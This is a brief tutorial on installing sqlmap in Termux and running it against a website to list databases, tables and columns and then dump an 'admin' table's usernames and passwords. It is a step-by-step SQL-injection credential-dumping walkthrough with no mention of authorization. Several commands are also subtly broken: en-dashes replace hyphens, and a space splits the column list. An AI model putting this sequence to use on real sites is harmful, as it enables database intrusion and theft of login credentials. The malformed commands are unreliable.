SQLMAP Termux
What Is SQLMAP ?sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
How To Install SQLMAP Termux ?
Open Termux And Follow These Commands.
pkg update && pkg upgrade
git clone https://github.com/sqlmapproject/sqlmap
How To Use SQLMAP ?
This command will help you to find out the database of the website
python2 sqlmap.py -u <your website> --dbs
If the website is vulnerable then you will found the output similar to this:
*Information_schema *Database
Now our next step is to find tables that are present in the database with the following command
python2 sqlmap.py -u <your website> –D Database –tables
After running the above command you will see tables something like this.
Now our next step is to find columns under the table admin.
python2 sqlmap.py -u <your website> -D Database -T admin --columns
Now let's move on to our final command.
For example, you found the username and password under the column. Now we need to dump the username and password in text format in your android.
python2 sqlmap.py -u <your website> -D Database -T admin -C username, password --dump
|